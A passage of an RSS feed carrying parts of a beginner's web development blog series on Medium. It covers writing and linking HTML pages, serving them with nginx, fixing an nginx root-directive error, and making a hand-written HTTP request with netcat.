href="https://stackoverflow.com/questions/21377321/nginx-no-input-file-specified-php-fast-cgi">this question</a> which has <a href="https://stackoverflow.com/a/36953342/6032037">this answer</a>:</p><blockquote>Now, there are many things wrong with this configuration. An obvious and glaring issue is the <strong>root directive in the location / block.</strong> When the root is defined inside the location block, it is available/defined for that block only.</blockquote><p>This seems interesting. The way our configuration is the root directive is inside the location / block. Let’s get it out and try again.</p><p>YEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEES!</p><p>Beautiful, but why did that fix the problem? What was the problem? In the same answer there’s an explanation for that:</p><blockquote>Here, the location /images block will not match for any request<strong> because it does not have any $document _root defined and we will have to redundantly define root again for it.</strong> Obviously, the root directive should be moved out of the location / block and defined in the server block. This way, the location blocks will inherit the value defined in the parental server block. Of course, if you want to define a different $document_root for a location, you can put a root directive in a location block.</blockquote><p>Aaah, so because we defined the root directory inside a location block it was available only for that location block, and not others such as the PHP one.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=79c9a1c8829d" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Get started in web development with me — Part 3: building our first web site]]></title>
            <link>https://gmelodie.medium.com/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/105742343fc3</guid>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[nginx]]></category>
            <category><![CDATA[website]]></category>
            <category><![CDATA[html]]></category>
            <category><![CDATA[http2]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Tue, 15 Jan 2019 08:31:00 GMT</pubDate>
            <atom:updated>2020-03-09T09:05:30.423Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g6eIRAOZvnPAZHZN89PBvA.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@13art?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Bartek Wojtas</a> from <a href="https://www.pexels.com/photo/gray-nails-beside-beige-wooden-planks-and-hammers-1598213/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><h3>Get started in web development with me — Part 3: building our first web site</h3><p>Hey you, how are you doing?</p><p>I’ll be honest with you, I’m in a very worky mood today, so let’s cut the crap and get right on the web stuff.</p><p>Lost in the series? Here are <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">Part 1</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74">Part 2</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">Part 3</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d">Part 4</a> and <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-5-php-intro-databases-and-sql-678328588900">Part 5</a>.</p><h3>Building</h3><p>We’ve learned a lot about web so far, but it’s about time we build some sh*t.</p><h4>“So what are we going to build?”</h4><p>Well, as we’ve been talking about servers and protocols, how about we build our very first web server?</p><h4>First of all, relax</h4><p>Don’t be afraid, we won’t mess around with magic stuff just yet. Let’s take the time to build our knowledge and to get comfortable with the web environment. Then we can gradually increase complexity of what we’re doing.</p><p>We shouldn’t rush the learning process (at least that’s the way I see it). I hate the anxiety of trying to learn everything at once. Forget about it, it’s not going to work.</p><h4>Herschel Evans</h4><p>You must remember our beloved Herschel Evans from the last post. I’m going to create a web page about him. Basic stuff: raw HTML and a couple of links between pages. That’s it.</p><p>You can put whatever content you’d like on your page. I chose Herschel Evans because I really know nothing about him and, as I’ve used him as an example earlier, I believe it’s only fair I pay him a little tribute.</p><h3>H(TML)ello World</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qjMRujuVhxtP-4DPnlSVsg.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@lastly?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Tyler Lastovich</a> from <a href="https://www.pexels.com/photo/turned-on-black-iphone-7-displaying-hello-1275929/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>We’ve already looked at a bit of HTML earlier, so I’m guessing you remember absolutely nothing about it. Great, me neither :)</p><h4>First page</h4><p>What I want to do is a landing page with a quick introduction about the purpose of the page as well as Herschel’s life, here’s the text I’m using:</p><blockquote><strong>Who’s Herschel Evans?</strong></blockquote><blockquote>“Herschel Evans was an American tenor saxophonist who worked in the Count Basie Orchestra. He also worked with Lionel Hampton and Buck Clayton. He is also known for starting his cousin Joe McQueen’s interest in the saxophone.” — Wikipedia<br><br><strong>Why does this page exist?<br><br></strong>This is an example page for my web development series. I started writing the series on Medium, and now I’m creating my first web page example. The reason why I chose Herschel Evans is because I needed something to talk about, so I went to Wikipedia and hit the ‘Random page’ button. I landed on the Herschel Evans’ page, and here we are!</blockquote><p>And here’s the HTML:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/1d9cbaa783935a83453b140353bd5991/href">https://medium.com/media/1d9cbaa783935a83453b140353bd5991/href</a></iframe><p>If you’re wondering what’s the weird, self-closing &lt;!-- index.html --&gt; tag, this is just a <a href="https://www.w3schools.com/TAGS/tag_comment.asp">comment tag</a>.</p><blockquote><strong>Me:</strong> That page is not good enough.</blockquote><blockquote><strong>You:</strong> Why?</blockquote><blockquote><strong>Me:</strong> Because it has no links to other pages!</blockquote><p>Let’s put some links (using <a href="https://www.w3schools.com/tags/tag_a.asp">anchor tags)</a> to some remote web pages.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/13d90daf7b46e92ccabec3f638fa6425/href">https://medium.com/media/13d90daf7b46e92ccabec3f638fa6425/href</a></iframe><p>Okay, now what if we wanted to pay a tribute to Herschel’s cousin <a href="https://en.wikipedia.org/wiki/Joe_McQueen">Joe McQueen</a> as well? Let’s make an HTML page for Joe as well.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/c8358c138e4bbfbceffed728ad8b3f77/href">https://medium.com/media/c8358c138e4bbfbceffed728ad8b3f77/href</a></iframe><p>Yeah I wasn’t very inspired to write that last one.</p><p>Okay great, we now have two HTML pages. Since they will be in the same website it’d be nice if they were linked. Since until now we used URLs to reference pages, let’s try the same thing in our local pages. Do you remember how URLs to local files look like?</p><pre><strong>file</strong>://<strong>path/to/file</strong></pre><p>Let’s change our files a little bit to include these paths:</p><pre>&lt;a href=&quot;file://localhost/home/gabriel/html/website_joe_v1.html&quot;&gt;<br>  Herschel&#39;s cousin!<br>&lt;/a&gt;</pre><p>And:</p><pre>&lt;a href=&quot;file://localhost/(...)/website_herschel_v2.html&quot;&gt;<br>  Joe&#39;s cousin!<br>&lt;/a&gt;</pre><p>Let’s check out all the code one more time, I’ve just appended the paths to the end of the files:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/a853bb535d11134850b020fe477cb3b7/href">https://medium.com/media/a853bb535d11134850b020fe477cb3b7/href</a></iframe><p>It works!</p><p>One more thing: I <em>think</em> we don’t need to use <a href="https://www.lifewire.com/absolute-and-relative-paths-3466467">absolute path</a> names to files. That’d be great because if we use relative paths we can actually move our files around new directories and, as long as the relative paths are the same, the links would still work. Check out the <em>“What the hell are relative and absolute paths?”</em> section on the <strong>Appendix</strong>.</p><h4>So let’s try using relative paths:</h4><pre>&lt;a href=&quot;file://website_herschel_v2.html&quot;&gt; Herschel&#39;s page! &lt;/a&gt;</pre><p>Crap, that doesn’t work. <a href="https://stackoverflow.com/questions/2005079/absolute-vs-relative-urls#21828923">Let’s see…</a></p><blockquote>An absolute url includes the parts before the “path” part — in other words, it includes the scheme (the http in http://foo/bar/baz) and the hostname (the foo in http://foo/bar/baz) (and optionally port, userinfo and port).</blockquote><blockquote>Relative urls start with a path.</blockquote><blockquote>Absolute urls are, well, absolute: the location of the resource can be resolved looking only at the url itself. A relative url is in a sense incomplete: to resolve it, you need the scheme and hostname, and these are typically taken from the current context. For example, in a web page at</blockquote><blockquote><a href="http://myhost/mypath/myresource1.html">http://myhost/mypath/myresource1.html</a></blockquote><blockquote>you could put a link like so</blockquote><blockquote>&lt;a href=&quot;pages/page1&quot;&gt;click me&lt;/a&gt;</blockquote><p>I did some deeper digging, looks like an URL is a type of URI. I strongly suggest you read <a href="https://en.wikipedia.org/wiki/Uniform_Resource_Identifier#Generic_syntax">this wikipedia page</a> if you’re interested on URLs and this stuff.</p><p>Let’s try &lt;a href = &quot;website_herschel_v2.html&gt; Joe&#39;s cousin! &lt;/a&gt;…</p><p>It works! And the best part is we can move our htmldirectory wherever we’d like and it <em>still</em> works!</p><p>Sweet! Now we have our HTML pages linked to each other and we can access them from our computer. But we don’t build web pages for ourselves, we build them to others.</p><h3>HTTP Servers: letting others access our pages</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SofiZfdj79EZqa7hZJe2aQ.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@wildlittlethingsphoto?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Helena Lopes</a> from <a href="https://www.pexels.com/photo/person-pouring-coffee-on-white-ceramic-cup-1394841/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><p>I’m sure you remember everything about HTTP and servers, so let’s… — wait what!? You don’t remember? Ok I’ll be honest with you, neither did I, lol. Let’s do some quick review:</p><p>A server is a machine that provides any kind of service to other machines (the clients). HTTP is the protocol we use to transfer content through the web.</p><p>When we’re creating a web site we need a web server in order to serve our HTML content (and maybe a bunch of other sh*t, but for now we just want to serve raw HTML). The server we need right now is one that receives an HTTP request for a specific HTML page, website_herschel_v2.html for instance, and sends this page through HTTP (in other words, it sends an <em>HTTP response</em> with the content).</p><h4>“So let’s start building our HTTP server!”</h4><blockquote><strong>Me:</strong> Whoa whoa. Hold your horses, we’re not building one of these right now.</blockquote><blockquote><strong>You: </strong>Why not?</blockquote><blockquote><strong>Me:</strong> Because we would need to know how to code in some language (C or Python for example) as well as network sockets and other network stuff. Also, as far as I know almost nobody codes their own web servers.</blockquote><blockquote><strong>You:</strong> Wait, so how are we going to do this?</blockquote><blockquote><strong>Me:</strong> A-ha! Great question grasshopper. We’re going to use existent popular web servers such as <a href="https://httpd.apache.org/">Apache</a> or <a href="https://nginx.org/en/">Nginx</a>.</blockquote><p>Basically what we’re going to do with Nginx is start it up and tell it where our HTML files are. I’ve chosen Nginx because it seems to be very popular and it’s simpler than Apache, but go ahead and use whichever you like.</p><h4>Starting up our web server</h4><p>Let’s <a href="https://nginx.org/en/download.html">download</a> and <a href="https://nginx.org/en/docs/install.html">install</a> Nginx, check <a href="https://nginx.org/en/linux_packages.html">this link</a> if you’re at Linux, usually this is as easy as typing something like:</p><pre>$ sudo apt-get install nginx</pre><p>Great, we have our web server installed. Now before we continue we need to understand a bit about <strong>network ports</strong>, check out the <strong>Appendix</strong> for that.</p><p>Let’s try to run the placeholder that Nginx has (it has some presentation pages):</p><p>Go run$ sudo nginx on your terminal. Nginx will try to open the server on port 80, but if it’s already running it means that port 80 is busy and the startup will fail:</p><pre>ginx: [emerg] bind() to 0.0.0.0:80 failed (98: Address already in use)<br>nginx: [emerg] bind() to [::]:80 failed (98: Address already in use)</pre><pre>...</pre><pre>nginx: [emerg] still could not bind()</pre><p>If this happens you probably already have Nginx (or other web server) running, so let’s try to access it:</p><p>Open your browser and type the address to your machine on port 80 (localhost:80). A nice welcome page for Nginx should appear, this is pretty standard so Apache and other web servers should also have similar placeholder pages.</p><h4>Serving our pages</h4><p>Okay, we now have HTML pages <em>and</em> a web server, we just need to tell the server to serve the pages we’ve built. To do this we need to change the configuration files to point to our pages<em>. </em>I strongly suggest you read the first three sections of the <a href="https://nginx.org/en/docs/beginners_guide.html#static">Nginx’s Beginner’s Guide</a> so that you don’t get lost on the next part.</p><p>Nginx’s configuration files are on /etc/nginx/. The main configuration file is /etc/nginx/nginx.conf, other files are on /etc/nginx/conf.d/. Let’s first make a copy of the config file so we have a backup in case something explodes:</p><pre>$ sudo cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.orig</pre><p>Sweet, now we can mess up nginx.conf. Thankfully Nginx has a <a href="https://nginx.org/en/docs/beginners_guide.html#static">great tutorial</a> for exactly what we want to do. Here’s what I have after following the tutorial:</p><pre>user www-data;<br>worker_processes auto;<br>pid /run/nginx.pid;<br>include /etc/nginx/modules-enabled/*.conf;</pre><pre>events {<br> worker_connections 768;<br> # multi_accept on;<br>}</pre><pre>http {<br> server {<br>  location / {<br>   root /home/gabriel/html;<br>  } <br> }<br>}</pre><p>Okay, let’s reload the configuration file:</p><pre>$ sudo nginx -s reload</pre><p>And now let’s access http://localhost/ using the browser…</p><p>I get a “403 Forbidden” error message, crap. What did we mess up? Let’s go back to the tutorial:</p><blockquote>Add the following location block to the server block:</blockquote><blockquote><em>location / {root /data/www;}</em></blockquote><blockquote>This location block specifies the “/” prefix compared with the URI from the request. For matching requests, the URI will be added to the path specified in the <a href="https://nginx.org/en/docs/http/ngx_http_core_module.html#root">root</a> directive, that is, to /data/www, to form the path to the requested file on the local file system.</blockquote><p>This means that if we try to access http://localhost/ it will try to go to /home/gabriel/html/ (because our root is /home/gabriel/html). Now what does 403 mean? According to <a href="https://en.wikipedia.org/wiki/HTTP_403">Wikipedia</a>:</p><blockquote><strong>HTTP 403</strong> is a standard HTTP status code communicated to clients by an HTTP server to indicate that the server understood the request, but will not fulfill it.</blockquote><p>So why did we get this? Well, we didn’t actually request any file right? I mean, we don’t have any default HTML file (index.html) and we tried to access a directory! Let’s specify a file:</p><pre>http://localhost/website_herschel_v2.html</pre><p>It works! But how do we make it access a default page? My guess is we rename some file to be index.html, let’s see:</p><pre>$ mv /home/gabriel/html/website_herschel_v2.html /home/gabriel/html/index.html</pre><p>Now access again the web site:</p><pre>http://localhost/</pre><p>YES! It serves us Herschel’s page!</p><p><strong>Obs:</strong> I had some trouble with the links on this one, so be sure to check your links when you change file names.</p><h3>Accessing the website from other machines</h3><p>We can access our website from other devices in our local network. For that we need to first of all <a href="https://www.wikihow.com/Check-the-IP-Address-in-Linux">figure out our private IP address</a>. Then we open a browser in the device and type the IP we found instead of localhost:</p><pre>http://192.168.123.321/</pre><p>Boom! Our website can be seen by other people!</p><p><strong>Obs:</strong> For now only the people on our local network can access our website, we’ll take a look at external accesses later.</p><h3>Later</h3><p>That’s it for today. I’m very tired. Hope you enjoyed it.</p><p>Thanks for reading :D</p><h3>Appendix</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YWDKBbmHMMO0LFX16m2Bww.jpeg" /></figure><h4>“What the hell are relative and absolute paths?”</h4><p>Let’s check <a href="https://en.wikipedia.org/wiki/Path_(computing)#Absolute_and_relative_paths">Wikipedia</a>:</p><blockquote>An <strong>absolute</strong> or <strong>full</strong> path points to the same location in a file system, regardless of the current working directory. To do that, it must include the root directory.</blockquote><p>So an absolute path looks like this:</p><pre>/home/gabriel/html/</pre><blockquote>By contrast, a <strong>relative</strong> path starts from some given working directory, avoiding the need to provide the full absolute path. A filename can be considered as a relative path based at the current working directory.</blockquote><p>So a relative path to /home/gabriel/html/website_herschel_v2.html from /home/gabriel/html/website_joe_v1.html would be just website_herschel_v2.html.</p><p>Suppose we had another file /home/gabriel/html/stupid/stupid_file.txt. Then the relative path to it from /home/gabriel/html/website_joe_v1.html would be stupid_dir/stupid_file.txt.</p><h4>“Why the hell are we talking about this again?”</h4><p>Let’s say we want to move our html directory out of gabriel . The new path for our HTML files would be /home/html/website_joe_v1.html and /home/html/website_herschel_v2.html .</p><p>You see the problem with this?</p><p>We used absolute paths in the links we created to our HTML files, and now these absolute paths have changed! In order to fix this we need to manually change the URLs in each of the files. This is awful! Every time we want to change directories the links would stop working.</p><p>If we use relative paths this wouldn’t happen because relative paths don’t necessarily change when absolute paths do.</p><h4>Network Ports</h4><p>As always, let’s take a look at the <a href="https://en.wikipedia.org/wiki/Port_%28computer_networking%29">Wikipedia page</a> for network ports</p><blockquote>In computer networking, a port is an endpoint of communication. Physical as well as wireless connections are terminated at ports of hardware devices. At the software level, within an operating system, a port is a logical construct that identifies a specific process or a type of network service.</blockquote><blockquote>The software port is always associated with an IP address of a host and the protocol type of the communication. It<strong> completes the destination or origination network address of a message.</strong> Ports are identified for each protocol and address combination by 16-bit unsigned numbers, commonly known as the <strong>port number</strong>.</blockquote><p>So what <em>is </em>a network port anyways? Well, the way I like to thing about it is this: imagine you live in a house with a bunch of other people and someone wants to mail you a letter. They would need to write the address for your house <em>and</em> your name on it.</p><p>An IP address is something that identifies you computer on a network (your house’s address), the port identifies a program to which the message is passed (your name).</p><blockquote><strong>Me:</strong> Okay, so when you access a web server you have to specify a port as well. The port is, like everything else, specified in the URL.</blockquote><blockquote><strong>You:</strong> But wait, I’ve never written the port in any URL.</blockquote><blockquote><strong>Me:</strong> That’s because there’s a default port for web servers so that if none is specified, that’s what will be used, which is port 80, just like the index.htmlfile. In URLs, the port is passed after the host field, separated by a :. Go ahead an access Google, <a href="http://www.google.com:80.">www.google.com:80</a>.</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=105742343fc3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Get started in web development with me: Protocols, Servers and HTTP]]></title>
            <link>https://gmelodie.medium.com/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74?source=rss-ea856b51f1c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/33c527725b74</guid>
            <category><![CDATA[protocol]]></category>
            <category><![CDATA[https]]></category>
            <category><![CDATA[web-development]]></category>
            <category><![CDATA[http-request]]></category>
            <category><![CDATA[servers]]></category>
            <dc:creator><![CDATA[Gabriel Cruz]]></dc:creator>
            <pubDate>Fri, 11 Jan 2019 08:01:01 GMT</pubDate>
            <atom:updated>2020-03-09T09:05:14.505Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ufUQEZ27I324uhkXSMlAXA.jpeg" /><figcaption>Photo by <a href="https://www.pexels.com/@miguelconstantin?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Miguel Constantin Montes</a> from <a href="https://www.pexels.com/photo/person-holding-brown-card-311716/?utm_content=attributionCopyText&amp;utm_medium=referral&amp;utm_source=pexels">Pexels</a></figcaption></figure><h3>Get started in web development with me — Part 2: Protocols, Servers and HTTP</h3><p>On my <a href="https://medium.com/@ltcrills/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">last post</a> I discussed the approach I’ll use on this series, talked a bit about my background and started discussing some core concepts of web: HTML and URLs.</p><p>Lost in the series? Here are <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-internet-web-hypertext-html-and-urls-3603830967b1">Part 1</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-protocols-servers-and-http-33c527725b74">Part 2</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">Part 3</a>, <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-4-html-forms-php-and-dealing-with-problems-79c9a1c8829d">Part 4</a> and <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-5-php-intro-databases-and-sql-678328588900">Part 5</a>.</p><p>So where were we?</p><p>We saw that a URL can basically be divided into three parts: <strong>protocol</strong>, <strong>hostname, </strong>and <strong>fileinfo</strong>. In case you forgot, here’s the anatomy of a common URL:</p><pre><strong>protocol://hostname/fileinfo</strong></pre><p>We already know that fileinfo is just the path to a file, ok. But what about the protocol and the hostname?</p><h3>Protocols</h3><p>What the heck is a <strong>protocol</strong> anyways? <a href="https://en.wikipedia.org/wiki/Communication_protocol">Let’s see</a>:</p><blockquote>In telecommunication, a <strong>communication protocol</strong> is a system of rules that allow two or more entities of a communications system to transmit information via any kind of variation of a physical quantity. The protocol defines the rules, syntax, semantics and synchronization of communication and possible error recovery methods.</blockquote><p>Okay, so here’s another way of thinking about it: suppose you received a letter but you don’t know either where it came from or the language in which it was written (let’s say you don’t recognize the alphabet it uses):</p><blockquote>เรียนท่านผู้อ่าน<br><br>ฉันดีใจที่คุณมาถึงที่นี่ แสดงความคิดเห็นคำกล้วยถ้าคุณอ่านนี้</blockquote><p>Even if you could use google translator you wouldn’t be able to read that letter unless you tried every language (letting google suggest the language to you doesn’t count, you cheater). Now suppose that the whole world agreed on a new rule: every letter has to have a field “language” in it, in which the sender writes the name of the language he’s using in english:</p><blockquote>language: Tamil</blockquote><blockquote>ஓ, கடைசி நாளில் எழுதப்பட்ட எந்த மொழியில் நான் உங்களுக்கு சொல்லமாட்டேன். ஆனால் நீங்கள் இங்கு வந்தால் நல்லது.</blockquote><p>Wow! Now you can easily look it up on any translator for <a href="https://en.wikipedia.org/wiki/Tamil_language">Tamil</a>. The analogy here is that the language itself is a protocol, a set of rules, syntax and all that crap, and the field language in the letter is the protocol field on a URL.</p><p>So when a <strong>server</strong> sees the URL http://en.wikipedia.org/wiki/Herschel_Evans arriving, it knows that that is an HTTP ‘letter’ and so it can read and understand the message (in this case, “give me the wiki page for Herschel Evans”).</p><p>Other examples of protocols are TCP and IP, used for sending and receiving stuff over the internet. They’re very different from HTTP, but HTTP often relies on both of them. This doesn’t really matter right now to us. Take a look at the <a href="https://en.wikipedia.org/wiki/OSI_model">OSI Model</a> if you’re interested.</p><h3>“But wait, what’s a server?”</h3><p>I’m glad you asked. A server is, you guessed it, a machine that <em>serves</em> something (a <em>service</em>) to <strong>clients</strong>. Clients are the machines a server works for. The clients are responsible for reaching out to the server, requesting and even sending things to it. Clients can be regular PCs, smart coffee machines, and even other servers! The thing to realize here is that clients and servers are <em>roles</em> and any machine can be either of those (maybe even both!) depending on the case.</p><p>So a server is basically a machine that works for others. It can serve web pages (such servers are called <strong>web servers</strong>), <a href="https://en.wikipedia.org/wiki/Domain_Name_System">domain names</a> (more on that later), etc. Every server works the same way: it receives a <strong>request</strong> (“could you give me the Wikipedia page for Herschel Evans please?” or “what time is it?”), it <strong>does something</strong>, and then it sends a <strong>response</strong> (“yep, here it is Herschel Evans’ page!”, “no! I’ve exploded”, “it’s 9:30am”, “go to hell”,…).</p><p>“Sooo you were talking about HTTP…?”</p><p>Oh! Right.</p><h3>HTTP — HyperText Transfer Protocol</h3><p>Remember Hypertext? The kind of text we use to write content in the web, usually written in HTML, the HyperText Markup Language and all that sh*t.</p><p>So now we know what a protocol is and why it is used for, sweet. HTTP transfers our HTML documents back and forth over the internet. But <em>how does it work</em>?</p><p><a href="http://www.garshol.priv.no/download/text/http-tut.html">Here’s a quick tutorial on the HTTP protocol</a> (don’t worry about the CGI part). This tutorial is a bit old (HTTP 1.0 and 1.1) but I don’t think too many things have changed between versions 1 and 2.</p><p>So if web servers receive HTTP requests and send responses, this means we can build our own HTTP request. <a href="https://stackoverflow.com/questions/32341518/how-to-make-an-http-get-request-manually-with-netcat">Let’s see how we can do it.</a> Here’s an example of an HTTP request for Herschel Evans’ Wikipedia page:</p><pre>GET /wiki/Herschel_Evans HTTP/1.0<br>Host: wikipedia.org<br>&lt;empty line&gt;</pre><p>This tells us we want the file /wiki/Herschel_Evans from the website wikipedia.org and that we’re using HTTP version 1.0.</p><p>Great, let’s use <a href="https://linux.die.net/man/1/nc">netcat</a> to make this request. With netcat the request ends up being a little bit different from the above because we first have to establish a connection and then make the request:</p><pre>$ nc wikipedia.org 80 #don&#39;t worry about the &#39;80&#39; there for now<br>...<br>$</pre><p>What the f***? It just shut down the connection? I don’t have any clue why this is happening, lol. Let’s try getting the index page from Google:</p><pre>$ nc google.com 80 # it works<br>GET index.html HTTP/1.0<br>&lt;empty line&gt;</pre><pre>HTTP/1.0 404 Not Found<br>Content-Type: text/html; charset=UTF-8<br>Referrer-Policy: no-referrer<br>Content-Length: 1561<br>Date: Thu, 10 Jan 2019 17:34:42 GMT</pre><pre>&lt;!DOCTYPE html&gt;<br>...<br># Bunch of uninteresting stuff</pre><p>Yes! We did it!</p><p>“But the response says ‘404 not found’ dude”</p><p>Doesn’t matter, we just wanted to make a request and receive a response, so it’s all good. My best guess is that these sites require more sophisticated parameters on the request than we handed them, but this is a problem for later. For now, we kind of know how an HTTP request looks like. We know how to send a request and how to read an HTTP response.</p><p><strong>Obs:</strong> We won’t get into HTTPS or other protocols right now because I think we need to understand a bit more basic stuff before going into that. Deal?</p><h3>That’s it for today</h3><p>I don’t want to dive too deep too fast into concepts like HTTP and HTML. We will surely need to know more about them later, but right now we just want to have a grasp of how things look like on the internet and which thing is used to achieve which goal.</p><p>Feel free to comment on any mistakes you see, I mean it. If you know a lot about grammar and realized I should’ve used a comma somewhere that I didn’t or if I said something that’s not entirely true about HTTP pleaaaaase let me know.</p><p>Go right up to the <a href="https://medium.com/@gmelodie/get-started-in-web-development-with-me-part-3-building-our-first-web-site-105742343fc3">next part</a> you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=33c527725b74" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>